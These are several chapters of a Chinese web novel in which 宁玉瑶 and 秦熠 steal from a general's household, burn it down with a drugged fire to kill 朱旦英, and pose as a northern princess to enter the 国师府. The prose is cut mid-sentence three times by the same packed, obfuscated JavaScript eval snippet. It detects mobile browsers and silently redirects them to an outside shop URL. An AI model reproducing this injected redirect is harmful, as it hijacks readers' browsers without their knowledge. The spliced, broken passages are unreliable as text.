“你哪弄来的?”宁玉瑶接过银票,仔细数了数,竟有三千两之多。 “从朱家库房里拿的,”秦熠说着,又从怀里掏出一张纸,“还有个意外收获。” 那是一张卖身契,上面的名字是“阮贞”。宁玉瑶仔细端详了一会儿,沉吟道:“莫非是那个阮姨娘的卖身契?” 秦熠点头:“应该是。这张卖身契与其他奴仆的卖身契未放在一处,而是单独用一个小匣子装着。” “如此一来,这阮娘必须听从朱将军的命令也实属正常。”宁玉瑶若有所思,随后将卖身契交还给秦熠,让他妥善保存,“看来朱府已经查不出什么东西了。等我们脸上的祷纹完全消退,就找机会离开这里。” 他们脸上的祷纹与国都其他人截然不同,若以现在的面貌出去,必然逃不过朱府的耳目。好在如今祷纹已日渐模糊,再过月余便能尽数退去。 秦熠应下,既然还有月余才能离开,也不急着为离开之事过多筹谋,便直接将此事搁置一旁。 他望向宁玉瑶,轻声问道:“苍荻没有宵禁,要不要出去看看?” “去!”宁玉瑶立即站起身,白捡的银子不花白不花。 秦熠嘴角含笑,拿出早已准备好的轻纱,遮住宁玉瑶的脸,随后单手抱起宁玉瑶,避开朱府守卫,轻松地翻墙而出。 此时虽已是亥时,但国都依旧灯火通明,街上行人来来往往,熙熙攘攘。人群中有同样轻纱覆面的女子由家中亲人陪伴着,兴致勃勃地看着街边摊贩上琳琅满目的货物。宁玉瑶这般模样混入其中,并不引人注目。 两人牵着手走在国都的商街上,宁玉瑶第一次在深夜出来游玩,看到小摊上的小食,心中满是好奇。 街边有许多她从未见过的食物,各种牛乳做的美食,奶香四溢,她从未想过牛乳居然可以做出这么多花样。 不远处甚至还有用虫子做成的小吃,宁玉瑶看着街上行人将一串虫子往嘴里塞,吓得她脸色发白,害怕地直往秦熠身后躲。 周围的人瞧见她这副模样,不禁发出一阵哄笑声。 宁玉瑶顿感羞窘,急忙拉起秦熠的手跑开。 等跑到离那些虫子远远的地方后,宁玉瑶看见一个小摊正在烤牛乳,诱人的香气扑鼻而来,她转头看向秦熠,“我们先去把银票换成银子吧。” “不用。”秦熠拍了拍胸口,“我顺手拿了一把碎银子,你尽管买。” 若是以前,秦熠肯定不会让她吃这些摊贩上的小食,毕竟宁玉瑶身体娇贵,外面的东西很容易吃坏肚子,现如今她的身体健康,已无太多顾忌。 宁玉瑶闻言,眉眼弯弯,开心地说道:“熠哥哥真厉害!” 秦熠被她这一句夸赞哄得找不着北。 等他们心满意足地摸着微微鼓起的肚子,又在各个小摊上挑选了许多精巧的小玩意,准备打道回府时,宁玉瑶鼻尖忽然微微一动,一股清新的草木香悄然钻进她的鼻腔。 她好奇地顺着香味飘来的地方望去,只见有许多人正围在一处摊位前挑选着什么。人群中不时传出欢笑声,热闹非凡。 秦熠见宁玉瑶感兴趣,便走到一旁,不动声色地跟一位老人套起话来。 过了片刻,秦熠回到宁玉瑶身边,在她耳边轻声说道:“八月十五是苍狄的望月节,这里家家户户都会挂上望月草。据说望月草能带来好运和福气,我们也去买一些吧。” 宁玉瑶闻着这个气味,只觉得格外清新宜人,心中甚是喜欢,便点头应下。 望月草长得郁郁葱葱,秦熠仔细挑选着,因香味有些重,便只买了两丛。摊主热心地用油纸将望月草好好包裹起来,递到他们手中。 秦熠接过望月草,带着宁玉瑶原路返回。朱府内依旧安安静静,守卫们有条不紊地巡逻着,无人察觉到他们曾经出去过。 望月草的香味虽然浓郁,但没几日便逐渐枯萎,原本那醇厚的香味也随之消散。 宁玉瑶瞧见渐渐失去生机的望月草,闲来无事便萌生了将望月草的香味留存在自己衣物上的想法。 她支使秦熠把望月草捣碎泡在水里,望月草被捣碎的那一刻,熟悉的香味再度四溢开来,依旧芬芳扑鼻。 沉浸在这股香味中的宁玉瑶,脑中又突然冒出一个念头。她忆起朱府园子里有一种名为香柠果的黄色果子,那果子清新宜人,只可惜酸涩至极不能食用。 她让秦熠悄悄去摘几颗果子来,将果子的汁水挤入望月草的汁水中,浓郁的草木香融合了这股清新的果香,变得愈发怡人。 将自己的衣物泡在水中,便到了例行给朱旦英行针的时间。 朱旦英经过那一番折腾后,身体比之前更为虚弱。不过,朱家曾在大宸大肆劫掠了几年,家底极为丰厚。各种珍贵的补品如流水般源源不断地喂进朱旦英的口中。 宁玉瑶冷眼看着这一切,并不提醒。朱旦英如今已虚不受补,表面上看似一天比一天好,实则只是在透支他的生命。 朱占行正坐在床边与他父亲商议着什么。两人神色凝重,看见宁玉瑶进来,立刻止住了话头。 宁玉瑶没听到他们在说什么,但她身旁的秦熠耳朵微微一动。然而,秦熠一直低着头,无人察觉到他的神情变化。 朱旦英笑意满面地看着宁玉瑶,“今日又要劳烦丁大夫了。” 宁玉瑶佯装不懂他们父子之间的眉眼官司,脸上挤出一丝假笑,“谈不上劳烦,朱将军给了报酬,我不过是拿人钱财,替人消灾罢了。” 听到这话,朱旦英便明白自己无需再与这个掉进钱眼子里的村妇多费口舌。他不再言语,闭上眼睛,任由宁玉瑶为他针灸。 既然没打算让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701732|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱旦英多活几日,宁玉瑶行针时便不再如之前那般谨小慎微。她随意扎了几针,敷衍了事,混够时间后,便起身告辞。 朱占行一直站在旁边,仔细观察着宁玉瑶的一举一动。他似乎看出了她的敷衍之意,大声喝止道:“丁大夫,为何我爹这几日恢复的速度有所减缓?” “你不相信我?”宁玉瑶转过身,眼神中满是愤怒,口气比他还强硬,“你们之前那么一折腾,本就伤了底子,现在还怪我治得恢复慢?既然不相信我,那你去把那些医官叫来,让他们治!” 那群医官自然不敢再碰朱旦英。这段日子,就连宁玉瑶施针他们都不敢再来观摩,生怕一个不小心被迁怒。而且偷师这事传出去也不好听,他们可不想再给自己惹麻烦。 朱占行一时语塞,不知该如何回应。宁玉瑶哼了一声,气冲冲地走了。 等到周围没有其他人的时候,一直跟在她身后的秦熠悄声说:“他们之前在说国师的事,还提到了祁晖珉。” “不知道他们又在谋划什么。”宁玉瑶眉头紧蹙。 “别急,等我们出了朱府,想办法看看能不能混进国师府。” “嗯。” 迎面走来一队侍卫,他们闭口不再交谈。 进了清苑,宁玉瑶便迫不及待地奔向自己屋子,满心惦记着正在浸泡的衣服。 “啊!” 秦熠在外面听到宁玉瑶的惊呼,赶紧跟了进去。只见宁玉瑶从盆中捞出一件雪白的衣裳,那原本染在衣服上的颜色此刻都已褪在了盆中,盆里的水变得五彩斑斓。 “没事,一件衣服罢了,晚上我再带你去买。”秦熠连忙安慰道。 没曾想,宁玉瑶的眼睛异常明亮,她紧紧抓着秦熠的手,“熠哥哥,你晚上再去买些望月草来,我有个想法,想试试。” 秦熠看着盆中那件褪色的衣裳,心中有所猜测,立即满口应下。 天黑后不久,秦熠迅速翻出朱府,不仅买回满满一大包望月草,还顺便在园子中摘了几颗香柠果。 回到房间,无需宁玉瑶吩咐,秦熠主动将望月草和香柠果捣出汁液。 宁玉瑶看着盆中的汁水,拿起一块帕子,蘸着汁液就要往自己脸上擦。 秦熠连忙拦住她,“还不知道会不会伤了脸呢,让我试试。” 宁玉瑶一想也对,若真有个万一,秦熠的脸毁了就毁了吧,反正自己不嫌弃他,可自己的容颜还是得好好珍惜。 她拿着帕子在秦熠脸颊边缘不太明显的地方轻轻擦拭了几下。过了一会儿,可以清楚看到擦拭的那块地方,祷纹已经消失不见。 “脸上会痛吗?”宁玉瑶问。 秦熠摸了摸方才擦拭的地方,摇头道:“只有一丝刺痒,不算疼,我们等明日再看。” 一整晚,宁玉瑶都辗转反侧,睡不安稳。好不容易睡着,天一亮,她就迫不及待地看向秦熠昨晚擦洗祷纹的地方。 那块皮肤完好无损,祷文已无影无踪。 “看来我们可以提前离开朱府了。”秦熠转头看了一眼地上的望月草,笑道。 宁玉瑶也笑得不怀好意,“该送朱老头上路了。” 91.王女 八月十五,乃苍荻月神八臂荼竭神女的神诞日,是苍荻人最为重要的望月节。 每年八月十四日至八月十八日,苍荻人家家户户都会挂上望月草,点燃祈月灯。与此同时,国师会在国都司殿举行五日祈福仪式,祈求神女庇佑苍荻大地风调雨顺、百姓安康。 满月高悬,明亮的月光洒在庭院中。 泉月和春燕举着祈月灯走出厢房,泉月朝着屋内唤道:“丁大夫,月亮出来了,你们要来祈月吗?” 宁玉瑶静静地站在门口,月光在她身前投下一片阴影,她的脸隐匿在黑暗之中,让人看不清她的表情。 即便她知道这是在苍荻,苍荻曾害得她国破家亡。今日,他们即将对朱府动手,然而面对这两个天真无邪的小丫鬟,她实在下不了手。 秦熠站在她身后,轻抚着她的脊背。 “我就在院子里祈月就行,你们俩去大门那边,人多了太吵。”宁玉瑶叹了口气,心道罢了,都是国师和朱家人造的孽,关这两个孩子什么事。 “好,丁大夫,我们这就出去。”泉月闻言,不敢惹丁大夫厌烦,赶紧领着春燕走出去。她们的身影渐渐消失在夜色中,祈月灯的光芒随着她们渐行渐远。 “熠哥哥,你会不会觉得我妇人之仁?”宁玉瑶的声音很轻,她也不知道自己放走两个小丫鬟会不会给他们带来麻烦。 秦熠将宁玉瑶抱在怀里轻声安抚:“不会。并非所有人都是坏人,涓姨他们知道我们是大宸人,亦对我们亲如家人。” “嗯。”宁玉瑶的脸颊在他胸膛上轻轻蹭了蹭,随后主动松开他,“准备动手吧。” 今日的朱府宁静祥和,众人在屋外举着祈月灯,对着月亮默默祈祷。 无人察觉有一道身影似鬼魅般在阴影中悄然穿行。 秦熠将前几日便陆续准备好的油脂,均匀地泼洒在各处屋舍的墙角,油脂中混有宁玉瑶精心调配的药粉。 这种药粉对于常人而言,闻之顶多感到头晕恶心,然而对于身患喘疾且被宁玉瑶动过手脚的朱旦英来说,却是致命的药引。 他们原本考虑将药粉换成毒药,这样一来若是一走了之,更为简单便捷。可如此行事,必定会引发全城戒严,后续若想混进国师府便会极为困难。 因此,他们只能先解决朱旦英。至于朱正行,那个整日只知贪图享乐的草包,不足为惧。 一切准备妥当后,秦熠捡起一颗石子,对准一名侍卫的手弹出。 侍卫只觉手一麻,手中的祈月灯瞬间掉落。他正欲捡起,忽然一阵风吹来,将他的灯吹到了旁边的草丛中。他脸色骤变,暗道不妙,秋季天干物燥,万一走水可不是闹着玩的。 可还未等他跑过去,忽然“轰——”的一声,火焰猛地窜起,以一种异乎寻常的速度迅速蔓延开来。 “走水了!”侍卫惊声尖叫。 “快!快灭火!” “水来了水来了!” 侍卫们连忙搬来水桶,没想到水泼上去之后,火势不但没有减弱,反而蔓延得更广了。 “这是怎么回事!”朱正行从正院的庭院里冲出来,瞧见眼前的熊熊大火,怒声吼叫,“快,快灭火!都愣着干什么!” “快,把所有能装水的容器都找来!动作快点!”朱府内众人也慌了神,管家和亲兵们四处奔走。 侍卫们纷纷行动起来,然而火势完全不受控制,火舌疯狂地吞噬着一间又一间的屋舍,很快就点燃了一大片屋舍。 女眷们被这可怕的景象吓得尖叫起来,紧紧地抱在一起,身体瑟瑟发抖,孩子们也被吓得哇哇大哭。 “娘,我怕!”朱家小姐紧紧地抱住朱夫人,泪水不断流淌。 朱夫人脸色苍白,她颤抖着手抚摸女儿的头,试图安慰她,可自己的心中也满是恐惧。 “将军,火势控制不住了,”锦伍看着那已经蔓延到正院的大火,心急如焚,“我们快出去吧。” 朱正行紧紧咬着牙,心中不愿放弃朱府的百年基业,但看着越来越凶猛的火势,他知道不能再犹豫了。 他转身回到正院,背起父亲向外跑。 朱旦英有心反对,可火势实在太大了,耽搁不得。他的脸色难看至极,在火光的映照下红得十分怪异。 朱府已经乱成一团,仆人们试图抢救府中的财物,但在大火面前,他们的努力显得那么微不足道。 朱府内浓烟滚滚,让人几乎无法呼吸,人们四处逃窜,却又不知道该往何处去。 等朱府的主子们仓皇逃出火海时,大火已蔓延了大半个朱府。 火兵丁姗姗来迟,他们推着沉重的水龙,焦急地冲向火场。然而,面对如此巨大的火势,他们手中的水龙显得那般无力,喷出的水流只是杯水车薪。 火海中的高温和药粉让人窒息,那些火兵丁扑救时,差点晕倒在火海中。若不是旁边的人救治及时,恐怕就连火兵丁都会葬身在这熊熊大火之中。 如此一来,再也没人敢贸然进去救火。 朱府周边的府邸都在慌忙砍伐与朱府相连的树木,生怕大火蔓延到自己府上。 朱家众人哀戚地站在门口,绝望地看着那冲天大火。 他们仰望天上的明月,期盼神女娘娘能降下一场大雨浇灭这场大火,可惜天空明月高悬,没有一丝乌云,仿佛在冷漠地看着这场灾难。 朱旦英头发凌乱,脸上布满黑灰,眼神空洞无神。他颓丧地趴在朱正行背上,只觉得胸口沉闷,喘不上气来。 那是他们朱家祖辈历经数辈奋斗下来的基业,如今在一场大火中化为乌有,这般打击让他瞬间苍老了数十岁。 秦熠背着宁玉瑶站在远离朱府的一处墙角,静静地观望着这一切。 以他的目力,轻易便能看见朱旦英的脸色开始发青。 “朱旦英中招了。”秦熠轻声道。 “嗯,”宁玉瑶搂着秦熠的脖子,手中握着秦熠方才趁乱从玖跃身上摘下的方家传家玉佩,“他活不久了,我们去国师府吧。” 今晚似乎所有人都被朱府的大火吸引了注意。望月节期间国都城门大开,国都内的游人担心被朱府大火波及,蜂拥向城外跑去。 宁玉瑶和秦熠轻而易举地混出了城,他们迅速擦去脸上的祷纹,露出隐藏在祷文下前几日用药水弄出的伤疤,又解开头上的辫子,抓着泥土在头发上随意涂抹,换上事先准备好的脏污破旧的北穆衣袍,满身狼狈地靠近城门。 “入城在那边,别过来了。”守卫远远地就看见了他们,立刻高声喝止。 秦熠连忙操着一口北穆和苍荻混杂的语言,急切地对守卫说:“我们从北穆而来,找国师有要事相商,劳驾你带我们去找国师。” 守卫怀疑地看着他们,这两人衣裳破旧,宛如乞丐一般。女人脸上有一道可怖的疤痕,眼眶通红,一直在啜泣。而男人头发胡须杂乱,身上没有一块干净的地方。 守卫游移不定,万一他们是骗子,带去国师府混吃混喝,自己肯定落不着好。 秦熠见他不信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715557|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,急忙从衣襟中掏出一块刻有北穆图腾的纯金令牌,递到守卫面前。 守卫一眼就能看出这是真金。北穆爱金器,一应物件都是纯金打造,这么大一块金子,想必不会是混吃混喝的骗子。至于其他情况,先带去国师府,等国师定夺。 “你们跟我来。”守卫终于松了口。 秦熠连忙点头哈腰,背着柔若无骨,一直嘤嘤哭泣的宁玉瑶,跟在侍卫身后向国师府走去。 前些时日,秦熠在朱府内偶然听到朱家父子谈及北穆如今的局势,得知北穆王后被杀,北穆王唯一的王女也不知所踪。他们便决定以北穆王女的身份混入国师府。 这几日国师都在司殿祈福,国师府必然不会将他们拒之门外。等国师回到国师府后,即便对他们有所怀疑,也无人能够证明他们身份真伪。 如今北穆各部族正忙着争权夺利,就算是真的王女,他们也不会轻易承认。而唯一能够确认王女身份的人便是北穆王,可北穆王现在正在大宸。 倘若国师真要寻北穆王确认王女的身份,那必然绕不过承武帝。宁玉瑶相信,事情若真发展到这一步,舅舅必会坐实她北穆王女的身份。 所以,这次是混进国师府千载难逢的绝佳机会。 他们穿过热闹的街市,很快来到达官贵人聚居的东城区。 从快被烧成灰烬的朱府门前经过时,守卫望着那被大火毁于一旦的百年将军府,遗憾地叹了口气。曾经辉煌的朱府,如今只剩下一片残垣断壁,实在令人唏嘘。 没人注意到不远处的角落里,有两个小女孩正盯着这边。 “泉月,那是不是丁……”其中一个小女孩刚开口,便被另一个小女孩泉月捂住了嘴巴。 “你看错了,丁大夫已经被火烧死了!”泉月紧紧搂着她,在她耳边小声提醒,“一定要记住,丁大夫已经死了,否则我们也活不下去。” 春燕连连点头,“我知道了,丁大夫已经被烧死了。” 远处的秦熠心中满意,还好有个聪明丫头,没辜负玉瑶的一片好意。 他们继续前行,来到一座府邸前,这座府邸气势恢宏,大门紧闭,门口站着几个侍卫。 守卫上前跟守在门口的侍卫们交涉一番,侍卫们点头,随后一名侍卫上前来,对宁玉瑶说:“请随我来。” 秦熠和宁玉瑶满心惊诧,他们原本预想过或许能够进入国师府,却万万没料到会这般顺利。 尽管心中思绪翻涌,但他们面上不显,只是安静地跟着侍卫朝着国师府内走去。 庄严神圣的司殿内,袅袅香烟升腾而起。 国师站在八臂荼竭神女像下方,低声吟唱着祷辞。一众奉司神色恭谨,环绕在国师身侧,跟随国师的祷辞,对着神女像顶礼跪拜。 国师府的侍卫在殿外焦急等待。 待仪式结束,侍卫连忙上前禀报:“国师,方才府里来了一男一女,自称是北穆王女,找您有要事相商。” 国师伸手示意奉司将他身上的祈月袍取下,听到侍卫的禀报,颔首道:“你们先好好招待着,等祈福结束,我便去见她。” 北穆王后临终前送来了一封信,算算日子,王女差不多也该在这个时候到了。 “是。”侍卫躬身应道,正欲退下。 “等等,”国师叫住侍卫,“好好看着他们,切不可让别有用心之人混进来。如今局势错综复杂,绝不可掉以轻心。 侍卫连忙再次躬身,郑重道:“国师放心,涓姑姑正亲自守着王女。” 92.娇养 秦熠背着宁玉瑶跟在侍卫身后,走到国师府后院,一个嬷嬷打扮的中年妇人匆匆从后院迎了上来。 “涓姑姑。”侍卫向来人拱手行礼,恭敬地介绍道,“这位便是北穆王女和她的侍卫。” 宁玉瑶在秦熠背上,看清楚妇人的脸,呼吸微微一滞。秦熠神色如常,背着她的手轻轻捏了捏她的腿,宁玉瑶赶紧继续嘤嘤啜泣。 那位涓姑姑向侍卫点头示意,随后转向宁玉瑶,温和地说:“王女请随婢子来。” 宁玉瑶抬起泪眼婆娑的脸,用生涩的苍荻语说:“有劳了。” 接着低下头,用北穆语对秦熠说:“跟上。” “王女能听懂苍荻语那就再好不过了。”涓姑姑笑眯眯地领着二人往后院走。 “母后曾请人教过我苍荻语,可惜时间太短,说得不好。”宁玉瑶的声音哽咽着,似是想起了被害的母后,心中悲痛难抑。 “已经很好了,”涓姑姑见王女又开始哭,赶紧转移话题,“王女殿下,在国师府这段时间若有事您尽可吩咐婢子,婢子叫孟青涓,您可以叫婢子涓姑姑。” 宁玉瑶没搭话,只是埋头哭泣着。秦熠轻声用北穆话说了几句什么,宁玉瑶轻声应了。 秦熠抬头歉疚地对涓姑姑说:“抱歉涓姑姑,殿下突逢大变,还未缓过神来,请见谅。” “人之常情。”涓姑姑叹了口气,心中满是怜悯。 王女的父亲被擒,母亲被害,一个娇生惯养的小姑娘不得不背井离乡,历经千辛万苦,身边仅剩一个侍卫才逃到苍荻,慌了神也是正常。 她便不再多言,只静静听着二人用北穆话轻声交谈着。 其实宁玉瑶也没听懂秦熠在说什么,她只匆忙学了几个常用的北穆词语,大部分时间都是秦熠在说。 秦熠一边编造着安慰王女的话,一边留意着周围的环境。等他说完捏捏宁玉瑶,她再随便应和一下。 好在秦熠在王城的时候曾经见过王女,王女确实是一个娇弱的小姑娘,无论遇到什么事情都只会哭泣,越是大事就越说不出话来。如此一来,宁玉瑶只需躲起来哭泣就行,这倒也为她省去了不少麻烦。 他们走到一个院子门前停下脚步,涓姑姑微微侧身,恭敬道:“殿下先在此处休息,这几日正巧是神诞节,国师不在府上。待过些时日,国师祈福结束便会回来见您。” “是我打扰了。”宁玉瑶脸上带着歉意。 涓姑姑忙道不敢,她扬声呼唤了一声。 两个丫鬟闻声赶来,站在涓姑姑身侧,垂首而立。涓姑姑对宁玉瑶介绍道:“殿下,她们是秋叶和冬雪,这几日由她们伺候您。” “多谢涓姑姑,”宁玉瑶抿唇,眼中闪过一丝犹豫,似乎有些难以启齿。片刻后,她轻声说道,“我们一路奔波,衣装行囊均已遗失,身上仅有些金器。劳烦您帮我和侍卫准备一套衣裳。” 说着,她从手上取下一个金戒指递给涓姑姑。 涓姑姑连忙拒绝道:“殿下太客气了,几套衣裳罢了,不需要您给金子。热水已经备好,您先去清洗,衣裳马上送来。” 宁玉瑶再次道谢,让秦熠放下她,在两个丫鬟的引领下走进浴房。 浴房里弥漫着淡淡的水汽,温暖舒适。丫鬟们伺候宁玉瑶脱下身上脏污的衣裳,那身衣裳满是泥垢,早已看不出原本的颜色。 宁玉瑶泡在汤池中,温热的水包裹着她的身体,丫鬟们替她清洗头发,手指在发丝间穿梭,细致又温柔。 为了能够顺利混进国师府,宁玉瑶硬是忍耐了十余日不曾清洗,只觉得自己浑身都散发着异味。 她已经大半年未曾被人伺候过,此刻终于能被人伺候着好好清洗一番,舒适得差点睡着过去。好在她还有一丝理智提醒自己是北穆王女,时刻警醒着,不敢有丝毫松懈。 忽然,宁玉瑶感觉到自己脸上有一阵轻微的触碰,她睁开眼睛,秋叶惶恐地跪在汤池边,不停地向她告饶:“殿下恕罪,奴婢以为您脸上的是脏污,没弄疼殿下吧?” 宁玉瑶轻轻抚上自己的右脸颊,那里有一块狰狞的红色瘢痕。她的眼神瞬间黯淡下来,掩面而泣:“无事,这是大宸的秦熠火烧王城时,我被困在王宫被烧伤的,那可恶的秦熠!” 一直站在门口守候的秦熠,眼中闪过一丝难以察觉的笑意。 浴房内的两个丫鬟望着宁玉瑶,眼神中满是同情。如此美丽的女子,原本细嫩如瓷的脸庞上,却留下了这么一道触目惊心的疤痕,实在令人惋惜。 她们愤慨道:“大宸人实在可恶!” 三人仿佛找到了共同的敌人,话匣子瞬间打开,你一句我一句地骂着大宸人。 “咳。” 一声轻咳传来,秋叶和冬雪赶紧噤声,转头看向门外。 涓姑姑满脸笑容地捧着一套崭新的衣裳走了进来,“殿下,国师府中无女眷,一时间难寻好料子的衣裳。这身衣裳您暂且先穿着,明日天亮,婢子再去为您寻几身质地更好的衣裳。” “有劳涓姑姑了。”宁玉瑶点头道谢。 涓姑姑放下衣裳便退了出去。 宁玉瑶从汤池中缓缓走出来,一身肌肤滢白如雪,只是身上也有几块火烧过后的瘢痕,破坏了原本的美丽。 两位丫鬟心中都惋惜地轻叹一声。 她们伺候宁玉瑶穿好衣裳,冬雪拿起帕子,轻柔地将她的发丝绞干,而后便引着她前往寝房。 “殿下,今晚可要奴婢守夜?”秋叶已将床褥铺好,转头询问站在门边的宁玉瑶。 宁玉瑶脸上露出抗拒之色,拒绝道:“不必了,这些时日我已习惯侍卫陪伴,还是让他来陪我吧。” 秋叶和冬雪对视一眼,本想说此举于理不合,但想到此人乃是北穆王女,她们也不好过多干涉,便应道:“奴婢们告退。” 丫鬟们退出寝房,院外不远处的亭子中,涓姑姑正在那里等候着她们。 “涓姑姑。”二人上前恭敬行礼。 “如何?” “那位姑娘身上手上除了有被火灼烧过的痕迹,其余地方皆细腻光滑,无半点瑕疵。”秋月率先回答道。 替宁玉瑶绞头发的冬雪也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721700|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“她的头发如缎子般光滑,倘若不是自幼精心养护,断不可能养出这般柔顺的青丝。” 虽看着有些毛躁,但明显是短时间内没好好打理所致,只需稍加养护便能恢复往日的光泽。 涓姑姑颔首,她也瞧出这姑娘虽说娇气爱哭,可通身气度不凡。表面上看对她们这些下人颇为和善,但实际上与那些高高在上的大人物别无二致,并未真正将她们放在眼中。 这显然是从小被无数奇珍异宝堆砌出来的金贵主子,长久被人伺候而养成的习性,绝非装模作样能够伪装得出。 除了北穆王女,实在难以想象还有谁会舍得将这般花费巨大代价,精心养育成人的姑娘送过来充当探子。 但她也不敢就此下论断,对两个丫鬟吩咐道:“别放松警惕,一切等国师回来再做定夺。” 快速换洗完毕的秦熠走进寝房,规矩地行了个礼,用北穆语轻声说了几句话。宁玉瑶一听便知外面有人在盯梢,她神色平静,轻轻应了一声,随后躺在床上,准备入睡。 秦熠吹熄烛火,静静地睡在脚塌上,一动不动。 等到宁玉瑶意识逐渐模糊,快要睡着的时候,秦熠才悄悄翻身躺到床上。 “人走了?”宁玉瑶轻声问道。 “嗯。”秦熠轻柔地轻抚宁玉瑶脸上的疤痕。那是她用药水调制出来的伪装,即便近看也足以假乱真,不过只能维持十天。在这十天内,无论他们能否找到证据,都必须离开这个是非之地。 宁玉瑶压低声音,语气疑惑:“那个涓姑姑……为何她与涓姨的名字相貌都一模一样。” 乍一看见她,宁玉瑶都有些恍惚,险些唤一声涓姨。 “涓姨曾经说过她是被人暗害丢下河的。”秦熠思忖,“或许与这个妇人有关?” 宁玉瑶蹙眉,她实在难以相信世上会有如此巧合的事情,竟然有人名字和相貌都完全相同。但涓姨从不跟别人说过去之事,就连小丽都不清楚其中的详情。她叹了口气,懊悔道:“早知道就该刨根问底问清楚了。” “世上没有早知道。”秦熠轻抚她的发丝,“别太苦恼了。” “可惜我们时间有限,不然定能帮涓姨好好打探一番。不知为何,看到这个涓姑姑我总觉得心里不自在,她明明与涓姨有着相同的面容,可她笑起来的时候却让我感到十分怪异。” 秦熠神色凝重:“我也觉得她不简单,这几日我们对这个涓姑姑小心些。” “嗯。”宁玉瑶应下,接着又问道,“熠哥哥,那些金器收好了吗?” 金器都是秦熠从朱府库房里悄悄摸出来的。为了不被人察觉,秦熠自己花费了大量时间和精力将其熔了,做成北穆的样式,并且将方家传家玉佩,阮娘的卖身契以及江老给的药物都巧妙地藏在金器中。 幸亏这些年秦熠热衷于亲自给宁玉瑶打金老鼠,做一批简单的北穆金器也很是像模像样。 至于他们的衣服,则是宁玉瑶动手改的。虽然她的女红只学了个皮毛,不过他们的衣服最终都会弄成破烂的样子,只要大致能唬住人就行。 93.试探 国师府为宁玉瑶安排的院子宽敞大气,比之朱府不知要阔绰多少。屋内一应摆设皆为红木所制,其上雕刻的精美花纹栩栩如生。 不过这也是理所应当,在朱府时,宁玉瑶只是一个遭人轻视的乡野村妇,无人将她放在眼里。如今她摇身一变,成为了北穆的王女,国师府自然不敢怠慢。 宁玉瑶从铺着锦被的雕花大床上醒来,轻轻用脸蹭了蹭柔软的锦缎,真是好久没睡过这么柔软的被褥,之前一直困苦倒也还能忍受,如今乍然重新用上这些奢华寝具,她忍不住热泪盈眶。 秋叶和冬雪推门而入时,便看见宁玉瑶躺在床上鼻尖通红,一双杏眼饱含热泪将落未落的模样。她的侍卫半跪在脚踏边,轻声用北穆语哄着她。 国师去司殿祈福前,就提起过这位北穆王女性子娇弱,嘱咐众人务必小心伺候。如今亲眼所见,这王女何止娇弱,简直就是个在眼泪里泡大的主儿,磕不得碰不得。能顺利从北穆逃到苍荻,她身边的侍卫当真是功不可没。 宁玉瑶在侍女的簇拥下起身,被伺候着盥洗完,换上国师府新送来的锦绣罗裙,随后戴上秦熠打的金饰。 她端坐在桌边,看着面前琳琅满目的菜肴,心中轻笑,她也清楚,自己初来乍到,国师府不可能在一夜之间就完全信任她。 这一桌早膳看似色香味俱全,实则暗藏陷阱。北穆人不食牛肉和禽肉,可这上面却摆着一道炙牛肉和一碗鸡汤。 宁玉瑶并未发作,只是垂下头,露出一副寄人篱下受尽委屈的模样。话未出口,眼泪先簌簌落下,那模样当真是我见犹怜。 “北穆人不得食用神牛和禽鸟,劳烦国师府的大人们以后莫要再送来这些菜肴了。” 秋叶连忙告罪,手脚麻利地将这两道菜撤了下去。 宁玉瑶擦了擦眼角的泪水,这才抬眼看向桌上剩下的菜肴,这些人,当真处处是试探。她挑挑拣拣地吃了几口,便放下了筷子。 冬雪轻声问道:“殿下,这些菜肴可是不合胃口?” 宁玉瑶低头不语,没有什么不合胃口的,只是一些食材是昨日送来的,虽然没坏,但已经不太新鲜。 王女怎么可能会吃隔日的食物,即便是落难的王女,能有好的选择时,也不会委屈自己。 见宁玉瑶不再动筷,桌上的菜肴全部被撤了下去。秋叶奉上茶水,宁玉瑶闻了茶香,却未动,她轻声问道:“不知我何时能见到国师?” 秋叶连忙回道:“这几日国师皆需在司殿祈福,需十九日方可回府。还请殿下在府内安心休息几日,国师早有吩咐,命奴婢们悉心伺候殿下。” 宁玉瑶闻言,叹了口气,黯然道:“竟然还要如此之久,我实在是挂念父亲,失礼了。” “无妨,殿下若觉烦闷,可在国师府内四处逛逛,亦或是去国都走走。” 宁玉瑶没接话,幽幽道:“谢过国师府好意,只是我实在没有闲逛的心情。” 秋叶和冬雪一脸歉疚,她们一时忘了,北穆王女初丧母,是逃难来国都的,怎么可能有心情闲逛,她们不再留下碍眼,福了福身道:“殿下您且休息着,有事尽可吩咐奴婢。” 